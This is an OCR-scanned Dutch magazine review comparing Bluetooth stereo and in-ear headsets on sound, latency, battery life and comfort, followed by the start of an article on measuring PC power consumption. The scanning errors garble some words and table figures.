We hebben een groot aantal exepiplaren getest die niet alleen een zeer goed geluid betoven, 
maar ook de mogelijkheid bieden om tussendoor met lemand te chatten of tefefoneren. 
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Test I Bluetooth-stereoheadsets 


S inds vorig jaar wordt de 
markt overspoeid door Blue¬ 
tooth-stereoheadsets. Er 
is bijria geen fabrikant meer die 
naast de modellen met een snoer- 
tje niet ook minstens een draad- 
loDS model in het assort!mem 
heeft* Met een draadloze zender/ 
ontvanger kunnen ze contact 
maken met smartphones, pc's, 
Macs en steeds meer mpS-spelers. 
Voor deze test hebben wij 19 ap- 
paraten eens nader bekeken. 
Elf modellen met een hoofd- of 
nekbeugel en acht met oorplug- 
gen. Die faatste staan apart in het 
kader op pJ22. Naast de geluids- 
kwaliteit en het draagcomfort 
waren we vooral geinteresseerd 
in de accuduur en de vertraging 
(latentie) door de draadloze ver- 
binding. 

Draadloze verbinding 

Alle geteste headsets gebruiken 
de Bluetooth-chip Cambridge 
Silicon Radio voor de draadloze 
verbinding. Deze chip behoort 
tot de Class 2-specificatie, die een 
theoretisch bereik van tien meter 
voorschrijft. In de test bleef alleen 
de Jabra Halo daar duidelljk onden 
bij een afstand van vijf meter brak 
de verbinding a I at Sinds de in- 
voering van Bluetooth versie 2.0 
EDR (Enhanced Data Rate) zijn 
datasnelheden tot 2,1 MbIt/s te re- 
aliseren. Helaas gebruikt het voor 
de overdracht van muziek verant- 
woordelijke Advanced Audio Dis¬ 
tribution Profile {A2DP) ook hier 
de lossy Subband Codec (SBC) met 
een data rate van 328 kbit/s (44,1 
kHz, Joint Stereo). In theorie zou- 
den ook twee ongecomprimeerde 
PCM-kanalen met circa 1,4 Mbit/s 
te realiseren moeten zijn [1]. 

De codec aptX van de lerse 
firm a CSR belooft een betere 
com press ie. Dit formaat werd 
oorspronkelijk ontwikkeld voor 
professionele broadcastsystemen 
en later aangepast voor Bluetooth. 
Creative Labs gebruikte deze 
codec als een van de eerste in 
zijn Bluetooth-apparaten, waarna 
Sennheiser en JBL voigden. aptX 
Bluetooth comprimeert twee 
PCM-streams met 16 bit, 44,1 kHz 
tot een transferrate van 352 kbit/s. 
De codec venA/erkt frequenties tot 
22 kHz en haalt volgens CSR een 
dynamisch bereik van meer dan 
92 dB. Bovendien moet aptX door 
sneller coderen en een kleinere da¬ 
ta buffer de latentie reduceren. 

Van de geteste apparaten on- 
dersteunde alleen de Creative 
WP-350-headset de aptX-codec 



AKG K830BT: goede afwerking, 
bediening en accuduur, beste 
weergave hoge tonen, maar 
bassen summier, kussens druk- 
ken stevig op de oorschelpen, 
microfoon filtert omgevings- 
geluiden eruit. 


aptX heeft wel een compatibele 
zender of a parte Bluetooth-adap¬ 
ter nodig. Creative en Sennheiser 
bieden zo'n adapter voor circa 40 
euro als usb-stick voor Windows 
en Mac OS X en als Apple-connec¬ 
tor voor iOS-apparaten. 

Geluidsvertraging 

Door de draadloze overdracht 
boet het geluid niet alleen In op 
kwaliteit, maar komen de muziek- 
signalen ook met een zekere tijd- 
vertraging (latentie) aan. Dat heeft 
verschlltende oorzaken. Signalen 
kunnen onderweg verstoord 
raken, waardoor datapakketjes 
verloren gaan. Om ervoor te zor- 
gen dat je dan niet meteen storen- 
de ruis krijgt worden de gegevens 
eerst gebufferd. Het coderen en 
decoderen van het muzieksignaal 
kost ook tijd, De totale latentie is 
bij de geteste headsets tussen de 
140 en 300 ms. Als Je alleen een 
beetje op een virtueel keyboard 
wilt speien of een muziekspelle- 
tje wilt doen, zijn latenties tot 230 
ms nog niet zo erg. Voor serieuze 
muziektoepassingen is dit echter 
te lang, Bij het afspelen van een 
film liepen de bewegende llppen 
zelfs met de langzaamste headset 
met 3CX) ms verbazingwekkend 
genoeg nog vrijwel synchroon 
met het geluid 

In de test hebben we het fre- 
quentteverloop van de headsets 
gemeten met een Head And 
Torso Simulator (HATS) type 
4128C van Briiel & Kjaer. De gra- 
fieken staan in de tabel op p.122 
en 123. De rode en de blauwe 
lijn geven het rechter- en linker- 
kanaat ween Alle modellen had- 





Arctic P311: aangenaam licht om 
te dragen, lange accutijd, even- 
wichtige frequentiecurve, maar 
nauwelijks gedifferentieerde 
klanken, spraak bij omgevings- 
geluid nauwelijks verstaanbaar, 
minder goed afgewerkt. 


den moeite met het weergeven 
van de hoge tonen. Alle headsets 
met uitzondering van de modei- 
len van AKG en Nokia kwamen 
onder de 1S kHz al duidelljk te- 
kort. Dat gaat meestal ten kost 
van de openheid en transparantie 
van de opnamen. 

De headsets hebben een kleine 
microfoon in een van de oor- 
schelpen voor het opnemen van 
spraak. Omdat deze microfoons 
niet direct voor de mond zitten, 
nemen ze niet alleen je stem op, 
maar ook de omgevingsgeluldea 
Goedkopere modellen als de Arc¬ 
tic P311, BeeWi BBH 210 en Sony 
DR-BT101 fiiteren deze geluiden 
er niet uit, zodat je stem In een 
drukke omgeving erg moeilijk te 
verstaan is voor je gesprekspart- 


nec De Sennheiser MM ICX) en de 
Nokia BH-905i gebruiken daar erg 
effect!eve filters voor. 

Paren 

Bij de eerste keer koppelen moet 
je bij vrijwel alle apparaten de aan/ 
ultknop gedurende enkele secon- 
den ingedrukt houden tot er een 
tweede toon klinkt en er lamp- 
jes met wisselende kleuren gaan 
knipperen. Het is voor deze pro¬ 
cedure dus handig om de headset 
op te zetten. Het koppelen ieverde 
by geen van de geteste apparaten 
grote problemen op. Alleen de 
Jabra Halo is wat onhandig omdat 
hij zichzelf auto matisch inschakelt 
en op zoek gaat naar Bluetooth- 
zenders zodra je hem openklapt. 
Wanneer de zender en ontvanger 
eenmaal met elkaar gekoppeld 
zijn (paired), vinden ze elkaar bij 
de volgende keer inschakelen 
automatisch terug. Via and ere 
knopjes op de hoofdtelefoon kun 
Je oproepen aannemen, het ge- 
luidsvolume regelen en meestal 
ook tussen muzieknummers heen 
en weer springen (skfppen). fn de 
test met een iPhone 4 en een iPcxJ 
touch 4G lukte dit met alle appara¬ 
ten viekkeioos. 

Omdat de Bluetooth-headsets 
geen draadverblnding hebben 
met de audioplayers moeten ze 
voor hun eigen stroomvoorzie- 
ning zorgen. Daar bouwen de 
fabrikanten vaste accu's in de ap¬ 
paraten voor in. Via een meegeie¬ 
verde lichtnetadapter of usb-kabel 
kun je die dan opladen. Alleen 
Sennheiser gebruikt voor zijn MM 
400 verwtsselbare accu's. De accu- 



Een typtsch frequentiecurve van een hoofdtelefoon: onder de 200 
Hz stijgt het signaal met 5 dB, loopt dan zoveel mogelijk Hneair 
tot 2 kHz, om in het gebied tot 3 kHz voor een betere hoorbaar- 
heid ongeveer 10 dB te stijgen, Boven de 10 kHz bepaalt de vorm 
van het menselijk oor het verloop van de curve. 
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Test I Bluetooth-stereoheadsets 


In-ear Biuetooth-hoofdtelefoons 


In-ear Bluetooth-headsets 


Fabrikant 

Model 

Accuduur 

Latentie 

Geluid 

Draageomfort 

Prijs ca. 

BeeWi 

BBH no 

m\i 

220 mi 

©0 

©0 

€24 

Jabra 

Clipper 

529 u 

zooms 

© 

0 

€48 

Jabra 

BT3030 Street 

657 u 

310 ms 

©0 

O 

€65 

Nokia 

BH-214 

6:36 u 

230 ms 

©0 

O 

€48 

Philips 

SHB6017 

5:13 y 

230 ms 

©0 

00 

€72 

HantJOTiks 

Backbeat 903+ 

5:48 u 

210 ms 

©0 

0© 

€75 

Sony 

HfiH-iSSOO 


230 ms 

©0 

O 

€m 

Sony 

MW goo 

9:47 u 

200 ms 

©0 

O 

€40 


©©zeergoed © qoed O vofdoende ©slecht 00ze€T&1echt 


Steeds meer fabrikanten bieden 
naast beugelhoofdtelefoons 
intussen ook in-ear h oofd tele- 
foons met Bluetooth-verbin- 
ding aan. Bekabelde modellen 
produceren tegenwoordig een 
behooritjk goed geluid en ste- 
ken zelfs menig hift-koptelefoon 
naar de kroon - zie bljvoorbeeld 
[2]. Het geheim? De rubberen 
oorkussens die de gehoorgang 
luchtdicht afsiuiten, waardoor 
de headset zelfs de laagste fre- 
quenties op het trommeivlies 
kan overbrengen. Vroeger pro- 
duceerden ze niet meer dan ijle 
telefoongeluidjes, maar tegen¬ 
woordig klinken goede in-ears 
vol en verzadigd. 

Helaas geldt dit niet voor de 
Bluetooth-oortelefoons die we 
voor deze test hebben aange- 
vraagd. De acht apparaten van 
BeeWi, Jabra, Nokia, Sony-Erics¬ 
son, Philips en Plantronics klon- 
ken dermate slecht, dat je blij 
mocht zijn als je oren geen pijn 
gingen doen. De Nokia BH-214 
en de Sony-Ericsson HBH-iS800 
bestookten onze arme gehoor- 
gangen met schrille hoge tonen 
en bassen waren nauwelijks 
te horen. Van de Sony MW 600 
kregen we in elkgeval geen oor- 
pijn, maar qua geluid was deze 
nauwelijks betec Ook hier ont- 
brak het aan bassen en ontbrak 
de transparantie in de hoge 
tonen. 

Jabra laat de I age frequences bij 
Z!jn BT3030 Street daarentegen 
ongebreideld dreunen. Door 
het ontbreken van hoge tonen 
klinkt de headset dot en mat 


Jabra's Clipper overdrijft de bas¬ 
sen niet zo sterk, maar vervormt 
de hoge tonen. Bovendien is de 
bijgevoegde clip moeilijk aan 
de kleding te bevestigen. Dat is 
lastig, want ioshangend trekt de 
clip de oorpluggen door zijn ge- 
wicht UJt het ooc 

Bij de Back beat 903+ en de 
Philips SHB6017 wegen de be- 
vestigingsproblemen bijna nog 
zwaarder dan het zwakke ge- 
luid Het kost bij alle twee een 
hoop gepruts om de haken om 
je oorschelpen te krijgen. De 
oordoppen van de Backbeat 
sluiten niet luchtdicht af en 
geven daarom ook nauwelijks 
basfrequenties doot Als je op de 
Bass-Boost-knop drukt wordt 
het geluid totaal vervormd. Ook 
de SHB6017 van Philips klonk 
erg iel. Als je ze elndelijk op had, 
dan waren beiden nauwelijks 
te bedienen via de minuscule 



De SeeWi BBH 110 heeft geen 
rubberen oorkussentjes en 
vallen daardoor nogal snel uit 
Je oren, Bovendien is de draad 
van de tweede oordop slechts 
met een zwakke magneet aan 
de andere oordop verbonden. 


knopjes. De BeeWi BBH 110 als 
laatsfe viel telkens weer uit onze 
oren omdat de plugs geen rub¬ 
beren oorkussens hadden en 
de kabei voor het tweede oortje 
slechts via een gammele mag- 
neetverbinding was aangesio- 
ten. Ook hier waren nauwelijks 
lage frequences te horen. 


De geluidskwaliteit van in-ear 
Bluetooth-oortelefoons is niet 



Aanbieder Jabra koppelt de 
oorpluggen van de BT3030 
aan een aparte Bluetooth- 
ontvanger. Zo krtjg je alsnog 
een berg kabelspagbetti, ter- 
wiJI je dat met deze draadloze 
techniek juist wilt voorkomenl 


alleen siecht, maar bij de meeste 
modellen raak je bovendien de 
kabelellende niet kwijt. De Nokia 
BH-214, Jabra BT3030, Jabra 
Clipper en de Sony-Ericsson 
MW 600 hebben aparte Blue- 
tooth-ontvangers waar ze via 
kabels op zijn aangesloten. Zo'n 
ontvanger is op zich al groter 
dan menige mp3-speler en dat 
maakt het gebruik ervan in de 
meeste gevallen nogal onzinnig. 



Wat design en klank betreft 
lijkt de Backbeat 903+ van 
Plantronics nog het meest 
op een stel hoorapparaatjes. 
Onhandig - niet alleen bij het 
opzetten, maar ook bij de be- 
dienlng. 


duur van de headsets varieerde 
enorm, van nog geen 4 uur tot 
meer dan 26 uuc Als de a ecu leeg 
is, kun je de Nokia BH-905i en de 
Sennheiser MM 400 ook aanslui- 
ten aan een kabel met een jack- 
plug. 

AKGK830BT 

Van buiten lijkt de KS30BT op de 
Sennheiser MM 400. De ronde 
leren oorkussens van de goed af- 
gewerkte headset drukken niet 
erg vast op de oorschelpen, maar 
veroorzaken na ongeveer een 
half uur toch een onaangenaam 


drukkend gevoeL Het open kop- 
telefoonprincipe dempt de omge- 
vingsgeluiden niet zo goed, maar 
zorgt we I voor open hoge tonen. 
Geen ander exemplaar haalde 
een vergelijkbare transparantie 
in het geluid. De AKG hield bij de 
bassen echter wat te veef in. Bass- 
drums klinken gedefinieerd, maar 
zouden wat meer mogen knal- 
len. De K830BT is prima geschikt 
voor jazz en kiassiek, bij pop en 
dance moet je de lage frequences 
met de equalizer corrigeren. Met 
een accuduur van meer dan 19 
uur houdt de AKG-accu het bijna 
driemaal zo lang vol als die van de 


Sennheiser De spreekkwaliteit via 
de microfoon is niet ultmuntend, 
maar omgevingsgeluiden worden 
er goed uitgefilterd 

Artie P311 

Met een prijs van minder dan 40 
euro is de Arctic P311 absoluut 
een koopje. De gesloten hoofd- 
telefoon met nekbeugel drukt met 
zijn kunstleren oorkussens net zo 
zacht tegen de oren als de MM 100 
van Sennheiser. Je moet wel ge- 
noegen nemen met een mindere 
kwaliteit in de afwerking. De ring 
met de bedieningselementen aan 


het rechteroor is bijvoorbeeld wat 
gammeL 

De geluidskwaliteit is in eerste 
instance wat beter dan je in deze 
prijsklasse zou verwachten. Het 
ffequenCeverloop is redelijk recht, 
er overheersen geen lage of hoge 
tonen. Toch mistde hoofdtelefoon 
wat definitie en een gedetailleerde 
weergave Percussiegelulden gaan 
ten onder in een geluidsbrij, de 
afzonderlijke instrumenten in een 
arrangement zijn nauwelijks uit te 
elkaar te houden. Jazz of funk wll 
Je hier niet mee beluisteren en ook 
pop- en dancemuziek verliest veel 
van zijn kwaliteit Voor het plegen 
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BeeWi BBH 100: erbarmelijk 
geluid met doffe, ongedlffe- 
reotieerde bassen, hoge tonen 
ontbrekert voNedig, dutdelijk 
waarneembare ruis, de slecht 
afgewerkte behuizing drukt op 
de schedel, maar de accutijd is 
wel laog. 


van telefoontjes ben je met de 
P311 verplicht een stil hoekje op 
te zoeken, want bij omgevings- 
geluiden gaat je eigen stem verlo- 
ren. De accuduur van ruim 20 uur 
is daarentegen vcrarbeeldig, Wil je 
een goedkope hoofdtelefoon voor 
bij het joggen of fitnessen, dan 
heb je met dit apparaatje een ac- 
ceptabele oplossing in handen. 

BeeWi BBH 100 

Dcx>r de witte krakende kunststof 
beugel van de BBH 100 worden 
de grote oorschelpen onaange- 
naam hard tegen je schedel ge- 
drukt Dat is niet de enige reden 
waarom je de BBH 100 nfet te lang 
op je hoofd wilt hebben: de klank 
is dot er zijn te weinig hoge tonen 
- alsof de tweeter in een drieweg- 
luidspreker uitgevallen is* In de 
onderste regionen brommen wat 
ongedifferentieerde bassen* Zet 
je de muziek uit, dan hoor je een 
hoogfrequente ruis. De microfoon 
geeft stem men een metaalachtige 
vervorming mee, ook ats de omge- 
vingsgeluiden er uitgefilterd wor¬ 
den. De BBH lOOscoort alleen met 
zijn lange accuduur van 26 uur. 

BeeWi BBH 210 

De in-ear koptelefoon van BeeWi 
is het kleinste model In deze test 
Hi] is makkelijk In het meegele- 
verde etui te stop pen. De plastic 
doppen drukken niet a I te hard 
in Je gehoorgangea maar geven 
toch een onaangenaam gevoel 
door het ontbreken van bekle- 
ding. De klank is sterk gekleurd: 



BeeWi BBH 210: geeft een on- 
aangenaam gevoel in hetoot 
heeft een sterk gekleurde klank, 
diepe bastonen en transparante 
hoge tonen ontbreken, frieme- 
lige bediening, korte accutijd, 
spraak bij omgevingsgeluiden 
nauwelijkste verstaan* 


Creative LabsWP-350: lichte 
gesioten hoofdtelefoon, sterke 
loudness in hetfrequentie- 
verloop, brommende bassen, 
weinig gedefinieerde, zwakke 
middentonen, aptX-codec 
levert geen noemenswaardige 
verbeteringen op* 


diepe bassen ontbreken, evenals 
transparante hoge tonen* In het 
afgemeen ontbreekt het aan defl- 
nitle en ruimtelijkheid. De hogere 
middentonen krijgen te veel na- 
druk. 

De microfoon flltert omge¬ 
vingsgeluiden er niet uit, zodat de 
headset alleen voor het telefone- 
ren op stille plekjes geschikt is. De 
kleine knopjes voor het skip pen 
en de volumeregeling werken file- 
melig. De accutijd van vijf uur is de 
op een na siechtste in deze test 

Creative Labs WP-350 

De WP-350 iigt met zijn ronde 
oorkussens op je oren, maar oe- 
fent minder druk uit dan de AKG 
K830BT en de Sennheiser MM 400. 
Na drie kwartier begonnen mijn 
oren te zweten, zodat ik de hoofd¬ 
telefoon moest afdoen. Wat klank 
betreft legt de WP-350 overdreven 
vee! nadruk op de lage en de hoge 
tonen. Het bonkt en dreunt, waar- 
bij de differentiatie verloren gaat 
In het frequentieverloop gaapt 
een groot gat In het midden- 
gebied vanaf 500 Hz Hoge tonen 
zijn daarentegen erg aanwezig, 
zonder echter de transparan- 
tie van de AKG-set te bereiken. 
De WP-350 ondersteunt als een 
van de weinig headsets de aptX- 
codec Met de aptX-Bluetooth- 
dongle van Creative Afgezien kon- 
den we afgezien van een lichte 
verbetering in de latentie van 220 
naar 200 ms geen klankverbete- 
ringen ontdekken. Da a r voor is 
de algemene klankkwaliteit van 
de hoofdtelefoon simpelweg niet 


goed genoeg. De microfoon filtert 
omgevingsgeluiden emit en geeft 
je stem luid weer, maar ook wat 
dof. De accuduur van bijna tien 
uur overtreft die van de Sennhei- 
ser-modetlen, maar blljft toch ver 
achter bij die van de headsets van 
AKG en Nokia. 

Jabra Halo 

De Jabra Halo Is met zijn plane 
design een echte blikvanger, 
maar de oorkussens hadden 
wel wat dikker mogen zijn. Nu 
drukt de hoofdtelefoon nog a I 
hard op de oren. Uniek aan deze 
headset is dat zodra je de beu¬ 
gel met een duidelljke klik open- 
klapt, de koptelefoon aangaat 
en direct probeert te ’patrenl Om 
hem uit te schakeien. moet je de 
headset weer dichtkiappen. De 
scharnieren maken daarbij geen 
superstabiele indruk. Ook de be- 
dieningselementen zijn minima- 
listisch uitgevallen* Er is alleen een 
knopje voor play/pauze en een 
sensorknop aan de zljkant voor 
de volumeregeling. Vooruit- en 
achteruitspoelen is niet mogelijk. 
Handig is dat je op de iPhone kunt 
aflezen hoe vol de accu van de 
koptelefoon nog is. Dat moet ook 
wel, want hij hield het in de test 
nog geen vier uur uit Geen van de 
andere apparaten moest zo vaak 
weer aan de oplader. 

De bastonen worden door de 
Halo overdreven opgebiazen, 
zodat ze ongecontroleerd bon- 
ken. Bij de hoge tonen ontbreekt 
het aan midhoog, details gaan 
verioren. De latentie is met 300 



Jabra Halo: plat design, minl- 
malistische bediening, inklap- 
mechanlsme niet erg stabiel, 
sterke overaccentuering van de 
bassen, weinig gedetailleerde 
hoge tonen, hoge latentie, zeer 
korte accutijd. 


ms duidelijk hoger dan bij andere 
apparaten. Bij films bewegen de 
lippen nog enigszins synchroon 
met het geluid, voor muzikale toe- 
pass ingen is dat echter nauwelijks 
meer bruikbaar. De microfoon fii- 
tert omgevingsgeluiden we! weg, 
maar levert a lies bij elkaar wel een 
erg zacht geluid. 

Nokia BH-905i 

De BH-905i zit met zyn kunstleren 
oorkussens bovenop de oorschel¬ 
pen en verdeelt de dmk daardoor 
beter dan de om het oor vallende 
kussens van de Sennheiser MM 
400 en de AKG K830BT. Zelfs na 
een uur voeien ze nog prettig aan. 
Wat geluid betreft valt de BH-905i 
op door het accent op de frequen- 
ties tussen de 2 en 10 kHz. De bas¬ 
tonen blijven op de achtergrond 
en maken een wat slappe indruk. 
Voor niet a I te veeieisende llef- 
hebbers van pop- en rockmuziek 
is het geluid wel okay. Bediening 
en afwerking zijn prima. Nokia le¬ 
vert als extra een bewaaretui met 
de grootte van een lunchtrommel 
en diverse aansluitadapters die je 
bljvoorbedd kunt gebruiken in 
viiegtuigen. De accutijd is met 24 
uur een van de iangste in de test 
Daarnaast kun je op de BH-905i 
ook een jackkabel aansluiten. Om- 
gevingsgelulden werden door de 
actieve ruisonderdrukking met 
ongeveer de helft gereduceerd. 
Ook de spraakkwaliteit van de 
microfoon Is verbazingwekkend 
goed. Deze filtert ruis en omge¬ 
vingsgeluiden er duidelijk merk- 
baar uit. 
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Sennheiser MM 100 

De lichte hoofdtelefoQn MM 100 
heeft een nekbeugel en drykt 
met zijn schuimplastic kossens 
nauwelijks op de oren. Daardoor 
heb je zelfs na een uur dragen 
nauwelijks warme oren* Het ge- 
volg van deze lichte bouwwijze is 
wel dat geluiden van buiten ook 
minder tegengehouden worden 
dan bij de MM 400. Sennheiser 
heeft bezuinigd op de niet ver- 
wisselbare accu, die het maar 7,5 
uur uithoudt* In tegenstelling tot 
de duurdere modellen van Senn¬ 
heiser kun je de MM 100 niet met 
een kabel gebrulken* 

De klank is evenwichtig, de fre- 
quentiecurve lijkt minder op een 
bergetappe vandeTourde Fran¬ 
ce dan bij de andere modellen. 
Basklanken hebben een goede 
punch, de hoge tonen zijn open 
en transparant - zo hoort het. 
De spraakkwaliteit van de mjcro- 
foon is net zo overtuigend, Deze 
filtert de omgevingsgeluiden er 
even goed uit afs de Nokia-set 
en bereikt daarbij een net lets 
hoger geluidsniveau. De knopjes 
voor skippen en volume aan de 
rand van de rechteroorschelp zijn 
kleiamaardankzij hun duidelljke 
drukpunt goed te bedienen. 



Nokia BH-905i: aangenaam 
lage druk op de oren, nadruk 
op hoge tonen, actieve noise¬ 
cancelling, zeer lange accutijd, 
goede verstaanbaarheid van 
spraak, aansluiten met kabei 
mogelijk* 


codec We konden wat geluid be- 
treft geen verschil tussen de twee 
vaststellen en daarom hebben 
we de laatste niet apart meege- 
nomen in de test. 

Opvallend is de lage latentie 
van de MM 400, die met 140 ms 
duidelijk beter is dan bij de rest. 
De spraakkwafiteit van de micro- 


w \ 



Sennheiser MM 100; aange¬ 
naam licht om te dragen, goed 
uitgebalanceerde klank, gede- 
finieerde bassen, transparante 
hoge tonen, goede verstaan¬ 
baarheid van spraak, korte 
accutijd, slechte damping van 
omgevingsgeluid. 


foon is niet zo goed als die van de 
MM100, maar wel wat beter dan 
die van de AKG en Creative Labs* 

Sony DR-BTSO 

Bij het koppelen met de Blue- 
tooth-zender stelt de Sony 
DR-BT50 zich voor afs HDX- 



Sennheiser MM 400; goede 
afwerking, oorkussens drukken 
lets te hard op de oorschelpen, 
krachtige bassen, transparante 
hoge tonen, maar middento- 
nen schieten tekort, relatief 
korte latentie, korte accutijd, 
aansluiten met kabel mogelijk* 


1955vl00. Dankzij zijn oorkus¬ 
sens die het hete oor omvatten 
worden omgevingsgeluiden ef¬ 
ficient buitengesloten. Nadeel 
daarvan is dat je na 20 mlnuten 
last krijgt van warme oren, zodat 
je de koptelefoon even af moet 
doen. In elkaar gevouwen is de 
DR-BT50 ondanks de grote schel- 


Sennheiser MM 400 

De MM 400 drukt met zijn leren 
ronde oorkussens iets sterker op 
je oren dan de erop Ifjkende AKG 
K830BT. Na zo'n 20 mfnuten gaat 
het onaangenaam aanvoelen. De 
kussens moeten wel luchtdkht 
afstuiten, anders verliezen de bas- 
sen hun druk. 

Sennheiser heeft bfj zijn Blue¬ 
tooth-headset MM400 gekozen 
voor verwisselbare accu's. De 
accutijd van 6,5 uur behoort ech- 
ter tot de slechtste in deze test. Je 
kunt er in elk gevaf nog een kabel 
op aansluiten, zodat je de hoofd- 
telefoon ook met lege accu nog 
kuntgebruiken. 

Wat geluid betreft overtuigt 
de MM 400 met krachtige, niet 
overdreven bassen en transpa¬ 
rante hoge tonen, ook a I is het 
karakter net niet hetemaal open. 
Overfgens zakt de frequentfe- 
curve bij 500 Hz in, wat afbreuk 
doet aan de klankkleur. De MM 
400 lijkt wat dat betreft op de 
PX210 BT van dezelfde fabrikant 
- deze twee koptelefoons heb¬ 
ben sowieso veel met elkaar ge- 
meen* Bij de PX210 BT ontbreekt 
een microfoon, maar hij heeft 
wel ondersteuning voor de aptX- 
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K830BT 
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U 

Cambridge Silicon Radio 
headset handsfree unit 
A2DPfsink),AVRCP 
(controller) 

SBC 
11,0 in 
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©/O 

€120 


Cambridge Silicon Radio 
headset handsfree unit 
A2DP{slnkUVRCP 
{controller) 
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2S0ms 

© 

0© 

© 

O 

@®/o 
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Cambridge Silicon Radio 
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A2DP{sirrk).AVRCP 
(controJIer) 
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14,0 m 
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0© 

0 

© 

©0 

€50 


2.1 
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A2DP (sink), AVRCP (con* 
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©0 
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© 
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O 
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zeer goed Sgoed Ovoldoende ©slecht ©©zeersiedit •/ aanwezig - nJet aanwezig 


124 


cT 2011, Nr. 12 






















Test I Bluetooth-stereoheadsets 



Sony DR-BTSO: goede afscher- 
mmg van otngevingsgeluid, 
desondanks een compact de¬ 
sign, kEank met veel bas, hoge 
tonen missen transparantie, 
friemelige bediening, goede 
accutijd en in het algemeen 
een goede afwerking. 


pen lekker compact als je hem in 
het meegeieverde etui doet 
Aan de rand van de oorscheJp 
zitten kieine knopjes om tus- 
sen myzjeknummers te wisse- 
len en het volume aan te pas- 
sen, maar dit blijft zelfs na een 
gewenningspertode nog lastig. 
De knoppen om van directory te 





Sony DR-BT101: gammeie af¬ 
werking, sterke benadrukking 
van de hogere middentonen, 
weinig bas, hoge tonen missen 
transparantie, friemelige be- 
dienmg, slechte verstaanbaar- 
heid van de spraak, voordelig 
geprijsd. 


wisselen deden op de iPod couch 
niets. 

De krachtige bassen en mid- 
dentonen zorgen voor een 
war me klank. De hoge tonen blij- 
ven echter duiddijk achter - het 
geluid is niet open noch trans- 
pa rant De latentie van 250 ms 
heeft nagenoeg geen merkbare 


invioed op het synchroon I open 
van het geluid met bewegende 
lippen in films, voor muziektoe- 
passingen is de latentie echter te 
hoog. Omgevingsgeluiden wor- 
den er door de microfoon effec- 
tief uitgefilterd, maar stem men 
klinken dot. 

Sony DR-BT101 

In tegenstelling tot de BT50 is 
de DR-BT101 niet op te vouv/en* 
Zijn plastic constructle maakt 
een beetje een gammeie indruk, 
De oorkussens van schulm rLis¬ 
ten aangenaam op de oren. De 
druk is wel iets te hoog, want na 
30 minuten wordt het onaange’ 
naam, De bediening van de kiei¬ 
ne skip- en volumeknopjes is net 
zo moeilijk als bij de 8T50. 

Qua geluid kunnen de twee 
hoofdteiefoons nauwelijks ver- 
der uit elkaar liggen. De DR- 
BT101 legt een overdreven ac¬ 
cent op de gebieden tussen 2 
en 5 kHz, waardoor stemmen 
schreeuwerig en nasaaf klinken. 
Bastonen gedragen zich onop- 
vail end en missen punch. Omdat 
de microfoon geen omgevings¬ 
geluiden filtert, is telefoneren 
alleen op rustige plekken moge- 
iijk. De accutijd van 13 uur en de 
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e 

O 

e 

0 

o 

@ 

o 

0© 
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2.0 

2,1 

Cambridge Silicon Radio 
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0 

0 

0 

O 

0 
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0 

© 
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2,0 

2.1 

Cambridge Silicon Radio 

Cambridge Silicon Radio 

headset handsfree unit 
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fcontrollef) 

SBC, MP3 
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O 

0 

O 

00 

o 

O 

0® 

O 

07© 

0/0 
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latentie van 230 ms zijn gemid- 
delde waarden. 

Conclusie 

Met een Bluetooth-headset heb 
Je geen kabels nodig, maar moet 
Je nog wel een paar min pun ten 
op de koop toe nemen. De min- 
dere geluidskwaliteit is duidelijk 
te horen. De MM 100 van Senn- 
heiser had In deze test volgens 
ons de beste klank, maar ook die 
zal het in een vergelijking met de 
beste hoofdteiefoons met kabel 
uit deze If de prijsklasse verliezen. 
Daarom komt zijn score ook niet 
boven 'goed' Liit. 

Als je minder waarde hecht 
aan vette bassen, maar een voor- 
keur hebt voor een langere ac¬ 
cutijd, heb Je aan de AKG K830ST 
een goede. Deze had bovendien 
de beste weergave van hoge 
tonen en zijn frequentiecurve 
zakte niet onder de 15 kHz al in, 
zoals bij de rest van de geteste 
headsets. In een lawaaierige om- 
geving, vooral in het vliegtuig, 
is de Nokia BH-905i met zijn ef- 
fectieve actieve ruisonderdruk- 
king (noise cancelling) beter ge- 
schikt Qua geluidskwaliteit en 
draagcomfort beviel deze ons 
beter dan de DR-BT50 van Sony 
met zijn afsluitende oorkussens. 
Sennheisers MM 400 klinkt beter, 
maar zijn accuduur is voor deze 
prijsklasse te kort. Als je iets goed- 
kopers zoekt, kun je met de Arc¬ 
tic P3T1 goed uit de voeten. Voor 
een prijs van minder dan 40 euro 
is de klank acceptabel. Bovendien 
oefent de koptelefoon met zijn 
nekbeugel slechts een geringe 
dmk uit op je oren. Je kunt er op 
stille plekken in ieder gevai mee 
telefoneren. De Sennheiser MM 
100 en de Nokia BH-90S1 leverden 
de beste spraakkwaliteit Eigenlijk 
Zijn headsets met een mondstuk 
met microfoon beter geschikt om 
mee te telefoneren. 

Tenslotte moeten we een ne- 
gatief advies geven voor de com¬ 
bi natle van in-ear koptelefoons 
met een Bluetooth-verbinding. 
Zoals in het kader op p.122 staat, 
varieert de geluidskwaHteit van 
alle exemplaren in die categorie 
tussen pijnlijk en slecht. Dat het 
ook anders kan, bewijzen veel in- 
ear kabelmodellen. (jmu) 
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Benjamin Benz 

Aan de land 
gevoeld 

Energieverbruik van computercomponenten 
correct meten 

Als je tijdens een concert alleen aandacht hebt voor het geluidsvolume, gaat 
de muziek ongemerkt aan je voorbij* Hetzelfde is van toepassing op het 
stroomverbruik van pc's; door gebruik te maken van de juiste meettechnieken 
kun je niet alleen individuele stemmen uit het orkest isoleren, maar kom je 
ook veel te weten over de werkwijze van de processor, het werkgeheugen, de 
chipset etc. 


H et energieverbruik van computers 
is de afgelopen jaren steeds be- 
langrijker geworden. Dat is niet 
zo verwonderlijk als je bedenkt dat het 
stroomverbruik niet alleen bepalend is 
voor de bijdrage aan je energierekening, 
maar vaak ook direct gecorreleerd is aan 
de geluidsontwikkeling, Om in te schat- 
ten hoeveel een apparaat bijdraagt aan 
de energierekening of hoe efficient hij 
rekent, is het voldoende om twee of drie 
verschillende bedrijfsmodi aarr de pri- 
maire kant van de voeding door te meten 
- dus inclusief alle transformatorverliezen. 
Deze statische waardes verraden echter 
weinig over de werkwijze van processors, 
videokaarten of extra chips. 

Maar juist die gegevens zijn bijvoor- 
beeld belangrijk als je wilt weten hoe 
goed de turbo- of energiebesparende 
functies van moderne processors hun 
werk doen, Intels Turbo Boost is bijvoor- 
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beeld bedoeld om het thermische - en 
daarmee ook elektrische - budget van 
een mylticore-processor maximaal te be- 
nutten als niet alle kernen belast wordeo. 
Om achter het rendement van de verschil- 
lende niveaus van Turbo Boost te komen, 
moet je het verbruik dus zo dicht moge- 
lijk bij de processor kunnen meten. Para- 
